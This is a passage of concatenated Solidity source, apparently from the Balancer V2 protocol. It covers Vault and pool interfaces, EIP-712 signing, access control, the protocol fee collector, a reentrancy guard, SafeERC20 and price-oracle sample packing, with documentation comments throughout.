swap fees: a percentage of the fees charged by Pools when performing swaps. For a number of reasons, including // swap gas costs and interface simplicity, protocol swap fees are not charged on each individual swap. Rather, // Pools are expected to keep track of how much they have charged in swap fees, and pay any outstanding debts to the // Vault when they are joined or exited. This prevents users from joining a Pool with unpaid debt, as well as // exiting a Pool in debt without first paying their share. /** * @dev Returns the current protocol fee module. */ function getProtocolFeesCollector() external view returns (ProtocolFeesCollector); /** * @dev Safety mechanism to pause most Vault operations in the event of an emergency - typically detection of an * error in some part of the system. * * The Vault can only be paused during an initial time period, after which pausing is forever disabled. * * While the contract is paused, the following features are disabled: * - depositing and transferring internal balance * - transferring external balance (using the Vault's allowance) * - swaps * - joining Pools * - Asset Manager interactions * * Internal Balance can still be withdrawn, and Pools exited. */ function setPaused(bool paused) external; /** * @dev Returns the Vault's WETH instance. */ function WETH() external view returns (IWETH); // solhint-disable-previous-line func-name-mixedcase } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./IVault.sol"; import "./IPoolSwapStructs.sol"; /** * @dev Interface for adding and removing liquidity that all Pool contracts should implement. Note that this is not * the complete Pool contract interface, as it is missing the swap hooks. Pool contracts should also inherit from * either IGeneralPool or IMinimalSwapInfoPool */ interface IBasePool is IPoolSwapStructs { /** * @dev Called by the Vault when a user calls `IVault.joinPool` to add liquidity to this Pool. Returns how many of * each registered token the user should provide, as well as the amount of protocol fees the Pool owes to the Vault. * The Vault will then take tokens from `sender` and add them to the Pool's balances, as well as collect * the reported amount in protocol fees, which the pool should calculate based on `protocolSwapFeePercentage`. * * Protocol fees are reported and charged on join events so that the Pool is free of debt whenever new users join. * * `sender` is the account performing the join (from which tokens will be withdrawn), and `recipient` is the account * designated to receive any benefits (typically pool shares). `currentBalances` contains the total balances * for each token the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return. * * `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total * balance. * * `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of * join (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.) * * Contracts implementing this function should check that the caller is indeed the Vault before performing any * state-changing operations, such as minting pool shares. */ function onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts); /** * @dev Called by the Vault when a user calls `IVault.exitPool` to remove liquidity from this Pool. Returns how many * tokens the Vault should deduct from the Pool's balances, as well as the amount of protocol fees the Pool owes * to the Vault. The Vault will then take tokens from the Pool's balances and send them to `recipient`, * as well as collect the reported amount in protocol fees, which the Pool should calculate based on * `protocolSwapFeePercentage`. * * Protocol fees are charged on exit events to guarantee that users exiting the Pool have paid their share. * * `sender` is the account performing the exit (typically the pool shareholder), and `recipient` is the account * to which the Vault will send the proceeds. `currentBalances` contains the total token balances for each token * the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return. * * `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total * balance. * * `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of * exit (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.) * * Contracts implementing this function should check that the caller is indeed the Vault before performing any * state-changing operations, such as burning pool shares. */ function onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { _HASHED_NAME = keccak256(bytes(name)); _HASHED_VERSION = keccak256(bytes(version)); _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view virtual returns (bytes32) { return keccak256(abi.encode(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION, _getChainId(), address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)); } function _getChainId() private view returns (uint256 chainId) { // Silence state mutability warning without generating bytecode. // See https://github.com/ethereum/solidity/issues/10090#issuecomment-741789128 and // https://github.com/ethereum/solidity/issues/2691 this; // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "./BalancerErrors.sol"; import "./IAuthentication.sol"; /** * @dev Building block for performing access control on external functions. * * This contract is used via the `authenticate` modifier (or the `_authenticateCaller` function), which can be applied * to external functions to only make them callable by authorized accounts. * * Derived contracts must implement the `_canPerform` function, which holds the actual access control logic. */ abstract contract Authentication is IAuthentication { bytes32 private immutable _actionIdDisambiguator; /** * @dev The main purpose of the `actionIdDisambiguator` is to prevent accidental function selector collisions in * multi contract systems. * * There are two main uses for it: * - if the contract is a singleton, any unique identifier can be used to make the associated action identifiers * unique. The contract's own address is a good option. * - if the contract belongs to a family that shares action identifiers for the same functions, an identifier * shared by the entire family (and no other contract) should be used instead. */ constructor(bytes32 actionIdDisambiguator) { _actionIdDisambiguator = actionIdDisambiguator; } /** * @dev Reverts unless the caller is allowed to call this function. Should only be applied to external functions. */ modifier authenticate() { _authenticateCaller(); _; } /** * @dev Reverts unless the caller is allowed to call the entry point function. */ function _authenticateCaller() internal view { bytes32 actionId = getActionId(msg.sig); _require(_canPerform(actionId, msg.sender), Errors.SENDER_NOT_ALLOWED); } function getActionId(bytes4 selector) public view override returns (bytes32) { // Each external function is dynamically assigned an action identifier as the hash of the disambiguator and the // function selector. Disambiguation is necessary to avoid potential collisions in the function selectors of // multiple contracts. return keccak256(abi.encodePacked(_actionIdDisambiguator, selector)); } function _canPerform(bytes32 actionId, address user) internal view virtual returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; interface IAuthorizer { /** * @dev Returns true if `account` can perform the action described by `actionId` in the contract `where`. */ function canPerform( bytes32 actionId, address account, address where ) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; interface IAuthentication { /** * @dev Returns the action identifier associated with the external function described by `selector`. */ function getActionId(bytes4 selector) external view returns (bytes32); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../../lib/openzeppelin/IERC20.sol"; /** * @dev Interface for the WETH token contract used internally for wrapping and unwrapping, to support * sending and receiving ETH in joins, swaps, and internal balance deposits and withdrawals. */ interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint256 amount) external; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; // Inspired by Aave Protocol's IFlashLoanReceiver. import "../../lib/openzeppelin/IERC20.sol"; interface IFlashLoanRecipient { /** * @dev When `flashLoan` is called on the Vault, it invokes the `receiveFlashLoan` hook on the recipient. * * At the time of the call, the Vault will have transferred `amounts` for `tokens` to the recipient. Before this * call returns, the recipient must have transferred `amounts` plus `feeAmounts` for each token back to the * Vault, or else the entire flash loan will revert. * * `userData` is the same value passed in the `IVault.flashLoan` call. */ function receiveFlashLoan( IERC20[] memory tokens, uint256[] memory amounts, uint256[] memory feeAmounts, bytes memory userData ) external; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "../lib/openzeppelin/IERC20.sol"; import "../lib/helpers/InputHelpers.sol"; import "../lib/helpers/Authentication.sol"; import "../lib/openzeppelin/ReentrancyGuard.sol"; import "../lib/openzeppelin/SafeERC20.sol"; import "./interfaces/IVault.sol"; import "./interfaces/IAuthorizer.sol"; /** * @dev This an auxiliary contract to the Vault, deployed by it during construction. It offloads some of the tasks the * Vault performs to reduce its overall bytecode size. * * The current values for all protocol fee percentages are stored here, and any tokens charged as protocol fees are * sent to this contract, where they may be withdrawn by authorized entities. All authorization tasks are delegated * to the Vault's own authorizer. */ contract ProtocolFeesCollector is Authentication, ReentrancyGuard { using SafeERC20 for IERC20; // Absolute maximum fee percentages (1e18 = 100%, 1e16 = 1%). uint256 private constant _MAX_PROTOCOL_SWAP_FEE_PERCENTAGE = 50e16; // 50% uint256 private constant _MAX_PROTOCOL_FLASH_LOAN_FEE_PERCENTAGE = 1e16; // 1% IVault public immutable vault; // All fee percentages are 18-decimal fixed point numbers. // The swap fee is charged whenever a swap occurs, as a percentage of the fee charged by the Pool. These are not // actually charged on each individual swap: the `Vault` relies on the Pools being honest and reporting fees due // when users join and exit them. uint256 private _swapFeePercentage; // The flash loan fee is charged whenever a flash loan occurs, as a percentage of the tokens lent. uint256 private _flashLoanFeePercentage; event SwapFeePercentageChanged(uint256 newSwapFeePercentage); event FlashLoanFeePercentageChanged(uint256 newFlashLoanFeePercentage); constructor(IVault _vault) // The ProtocolFeesCollector is a singleton, so it simply uses its own address to disambiguate action // identifiers. Authentication(bytes32(uint256(address(this)))) { vault = _vault; } function withdrawCollectedFees( IERC20[] calldata tokens, uint256[] calldata amounts, address recipient ) external nonReentrant authenticate { InputHelpers.ensureInputLengthMatch(tokens.length, amounts.length); for (uint256 i = 0; i < tokens.length; ++i) { IERC20 token = tokens[i]; uint256 amount = amounts[i]; token.safeTransfer(recipient, amount); } } function setSwapFeePercentage(uint256 newSwapFeePercentage) external authenticate { _require(newSwapFeePercentage <= _MAX_PROTOCOL_SWAP_FEE_PERCENTAGE, Errors.SWAP_FEE_PERCENTAGE_TOO_HIGH); _swapFeePercentage = newSwapFeePercentage; emit SwapFeePercentageChanged(newSwapFeePercentage); } function setFlashLoanFeePercentage(uint256 newFlashLoanFeePercentage) external authenticate { _require( newFlashLoanFeePercentage <= _MAX_PROTOCOL_FLASH_LOAN_FEE_PERCENTAGE, Errors.FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH ); _flashLoanFeePercentage = newFlashLoanFeePercentage; emit FlashLoanFeePercentageChanged(newFlashLoanFeePercentage); } function getSwapFeePercentage() external view returns (uint256) { return _swapFeePercentage; } function getFlashLoanFeePercentage() external view returns (uint256) { return _flashLoanFeePercentage; } function getCollectedFeeAmounts(IERC20[] memory tokens) external view returns (uint256[] memory feeAmounts) { feeAmounts = new uint256[](tokens.length); for (uint256 i = 0; i < tokens.length; ++i) { feeAmounts[i] = tokens[i].balanceOf(address(this)); } } function getAuthorizer() external view returns (IAuthorizer) { return _getAuthorizer(); } function _canPerform(bytes32 actionId, address account) internal view override returns (bool) { return _getAuthorizer().canPerform(actionId, account, address(this)); } function _getAuthorizer() internal view returns (IAuthorizer) { return vault.getAuthorizer(); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; /** * @dev Interface for the SignatureValidator helper, used to support meta-transactions. */ interface ISignaturesValidator { /** * @dev Returns the EIP712 domain separator. */ function getDomainSeparator() external view returns (bytes32); /** * @dev Returns the next nonce used by an address to sign messages. */ function getNextNonce(address user) external view returns (uint256); } // SPDX-License-Identifier: MIT // Based on the ReentrancyGuard library from OpenZeppelin Contracts, altered to reduce bytecode size. // Modifier code is inlined by the compiler, which causes its code to appear multiple times in the codebase. By using // private functions, we achieve the same end result with slightly higher runtime gas costs, but reduced bytecode size. pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _enterNonReentrant(); _; _exitNonReentrant(); } function _enterNonReentrant() private { // On the first call to nonReentrant, _status will be _NOT_ENTERED _require(_status != _ENTERED, Errors.REENTRANCY); // Any calls to nonReentrant after this point will fail _status = _ENTERED; } function _exitNonReentrant() private { // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // Based on the ReentrancyGuard library from OpenZeppelin Contracts, altered to reduce gas costs. // The `safeTransfer` and `safeTransferFrom` functions assume that `token` is a contract (an account with code), and // work differently from the OpenZeppelin version if it is not. pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; import "./IERC20.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(address(token), abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(address(token), abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * * WARNING: `token` is assumed to be a contract: calls to EOAs will *not* revert. */ function _callOptionalReturn(address token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. (bool success, bytes memory returndata) = token.call(data); // If the low-level call didn't succeed we return whatever was returned from it. assembly { if eq(success, 0) { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } // Finally we check the returndata size is either zero or true - note that this check will always pass for EOAs _require(returndata.length == 0 || abi.decode(returndata, (bool)), Errors.SAFE_ERC20_CALL_FAILED); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "../../lib/openzeppelin/IERC20.sol"; import "./IVault.sol"; interface IPoolSwapStructs { // This is not really an interface - it just defines common structs used by other interfaces: IGeneralPool and // IMinimalSwapInfoPool. // // This data structure represents a request for a token swap, where `kind` indicates the swap type ('given in' or // 'given out') which indicates whether or not the amount sent by the pool is known. // // The pool receives `tokenIn` and sends `tokenOut`. `amount` is the number of `tokenIn` tokens the pool will take // in, or the number of `tokenOut` tokens the Pool will send out, depending on the given swap `kind`. // // All other fields are not strictly necessary for most swaps, but are provided to support advanced scenarios in // some Pools. // // `poolId` is the ID of the Pool involved in the swap - this is useful for Pool contracts that implement more than // one Pool. // // The meaning of `lastChangeBlock` depends on the Pool specialization: // - Two Token or Minimal Swap Info: the last block in which either `tokenIn` or `tokenOut` changed its total // balance. // - General: the last block in which *any* of the Pool's registered tokens changed its total balance. // // `from` is the origin address for the funds the Pool receives, and `to` is the destination address // where the Pool sends the outgoing tokens. // // `userData` is extra data provided by the caller - typically a signature from a trusted party. struct SwapRequest { IVault.SwapKind kind; IERC20 tokenIn; IERC20 tokenOut; uint256 amount; // Misc data bytes32 poolId; uint256 lastChangeBlock; address from; address to; bytes userData; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../../lib/helpers/WordCodec.sol"; import "../IPriceOracle.sol"; /** * @dev This library provides functions to help manipulating samples for Pool Price Oracles. It handles updates, * encoding, and decoding of samples. * * Each sample holds the timestamp of its last update, plus information about three pieces of data: the price pair, the * price of BPT (the associated Pool token), and the invariant. * * Prices and invariant are not stored directly: instead, we store their logarithm. These are known as the 'instant' * values: the exact value at that timestamp. * * Additionally, for each value we keep an accumulator with the sum of all past values, each weighted by the time * elapsed since the previous update. This lets us later subtract accumulators at different points in time and divide by * the time elapsed between them, arriving at the geometric mean of the values (also known as log-average). * * All samples are stored in a single 256 bit word with the following structure: * * [ log pair price | bpt price | invariant ] * [ instant | accumulator | instant | accumulator | instant | accumulator | timestamp ] * [ int22 | int53 | int22 | int53 | int22 | int53 | uint31 ] * MSB LSB * * Assuming the timestamp doesn't overflow (which holds until the year 2038), the largest elapsed time is 2^31, which * means the largest possible accumulator value is 2^21 * 2^31, which can be represented using a signed 53 bit integer. */ library Samples { using WordCodec for int256; using WordCodec for uint256; using WordCodec for bytes32; uint256 internal constant _TIMESTAMP_OFFSET = 0; uint256 internal constant _ACC_LOG_INVARIANT_OFFSET = 31; uint256 internal constant _INST_LOG_INVARIANT_OFFSET = 84; uint256 internal constant _ACC_LOG_BPT_PRICE_OFFSET = 106; uint256 internal constant _INST_LOG_BPT_PRICE_OFFSET = 159; uint256 internal constant _ACC_LOG_PAIR_PRICE_OFFSET = 181; uint256 internal constant _INST_LOG_PAIR_PRICE_OFFSET = 234; /** * @dev Updates a sample, accumulating the new data based on the elapsed time since the previous update. Returns the * updated sample. * * IMPORTANT: This function does not perform any arithmetic checks. In particular, it assumes the caller will never * pass values that cannot be represented as 22 bit signed integers. Additionally, it also assumes * `currentTimestamp` is greater than `sample`'s timestamp. */ function update( bytes32 sample, int256 instLogPairPrice, int256 instLogBptPrice, int256 instLogInvariant, uint256 currentTimestamp ) internal pure returns (bytes32) { // Because elapsed can be represented as a 31 bit unsigned integer, and the received values can be represented // as 22 bit signed integers, we don't need to perform checked arithmetic. int256 elapsed = int256(currentTimestamp - timestamp(sample)); int256 accLogPairPrice = _accLogPairPrice(sample) + instLogPairPrice * elapsed; int256 accLogBptPrice = _accLogBptPrice(sample) + instLogBptPrice * elapsed; int256 accLogInvariant = _accLogInvariant(sample) + instLogInvariant * elapsed; return pack( instLogPairPrice, accLogPairPrice, instLogBptPrice, accLogBptPrice, instLogInvariant, accLogInvariant, currentTimestamp ); } /** * @dev Returns the instant value stored in `sample` for `variable`. */ function instant(bytes32 sample, IPriceOracle.Variable variable) internal pure returns (int256) { if (variable == IPriceOracle.Variable.PAIR_PRICE) { return _instLogPairPrice(sample); } else if (variable == IPriceOracle.Variable.BPT_PRICE) { return _instLogBptPrice(sample); } else { // variable == IPriceOracle.Variable.INVARIANT return _instLogInvariant(sample); } } /** * @dev Returns the accumulator value stored in `sample` for `variable`. */ function accumulator(bytes32 sample, IPriceOracle.Variable variable) internal pure returns (int256) { if (variable == IPriceOracle.Variable.PAIR_PRICE) { return _accLogPairPrice(sample); } else if (variable == IPriceOracle.Variable.BPT_PRICE) { return _accLogBptPrice(sample); } else { // variable == IPriceOracle.Variable.INVARIANT return _accLogInvariant(sample); } } /** * @dev Returns `sample`'s timestamp. */ function timestamp(bytes32 sample) internal pure returns (uint256) { return sample.decodeUint31(_TIMESTAMP_OFFSET); } /** * @dev Returns `sample`'s instant value for the logarithm of the pair price. */ function _instLogPairPrice(bytes32 sample) private pure returns (int256) { return sample.decodeInt22(_INST_LOG_PAIR_PRICE_OFFSET); } /** * @dev Returns `sample`'s accumulator of the logarithm of the pair price. */ function _accLogPairPrice(bytes32 sample) private pure returns (int256) { return sample.decodeInt53(_ACC_LOG_PAIR_PRICE_OFFSET); } /** * @dev Returns `sample`'s instant value for the logarithm of the BPT price. */ function _instLogBptPrice(bytes32 sample) private pure returns (int256) { return sample.decodeInt22(_INST_LOG_BPT_PRICE_OFFSET); } /** * @dev Returns `sample`'s accumulator of the logarithm of the BPT price. */ function _accLogBptPrice(bytes32 sample) private pure returns (int256) { return sample.decodeInt53(_ACC_LOG_BPT_PRICE_OFFSET); } /** * @dev Returns `sample`'s instant value for the logarithm of the invariant. */ function _instLogInvariant(bytes32 sample) private pure returns (int256) { return sample.decodeInt22(_INST_LOG_INVARIANT_OFFSET); } /** * @dev Returns `sample`'s accumulator of the logarithm of the invariant. */ function _accLogInvariant(bytes32 sample) private pure returns (int256) { return sample.decodeInt53(_ACC_LOG_INVARIANT_OFFSET); } /** * @dev Returns a sample created by packing together its components. */ function pack( int256 instLogPairPrice, int256 accLogPairPrice, int256 instLogBptPrice, int256 accLogBptPrice, int256 instLogInvariant, int256 accLogInvariant, uint256 _timestamp ) internal pure returns (bytes32) { return instLogPairPrice.encodeInt22(_INST_LOG_PAIR_PRICE_OFFSET) | accLogPairPrice.encodeInt53(_ACC_LOG_PAIR_PRICE_OFFSET) | instLogBptPrice.encodeInt22(_INST_LOG_BPT_PRICE_OFFSET) | accLogBptPrice.encodeInt53(_ACC_LOG_BPT_PRICE_OFFSET) | instLogInvariant.encodeInt22(_INST_LOG_INVARIANT_OFFSET) | accLogInvariant.encodeInt53(_ACC_LOG_INVARIANT_OFFSET) | _timestamp.encodeUint31(_TIMESTAMP_OFFSET); } /** * @dev Unpacks a sample into its components. */ function unpack(bytes32 sample) internal pure returns ( int256 logPairPrice, int256 accLogPairPrice, int256 logBptPrice, int256 accLogBptPrice, int256 logInvariant, int256 accLogInvariant, uint256 _timestamp ) { logPairPrice = _instLogPairPrice(sample); accLogPairPrice = _accLogPairPrice(sample); logBptPrice = _instLogBptPrice(sample); accLogBptPrice = _accLogBptPrice(sample); logInvariant = _instLogInvariant(sample); accLogInvariant = _accLogInvariant(sample); _timestamp = timestamp(sample); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; interface IWeightedPoolPriceOracle { /** * @dev Returns the raw data of the sample at `index`. */ function getSample(uint256 index) external view returns ( int256 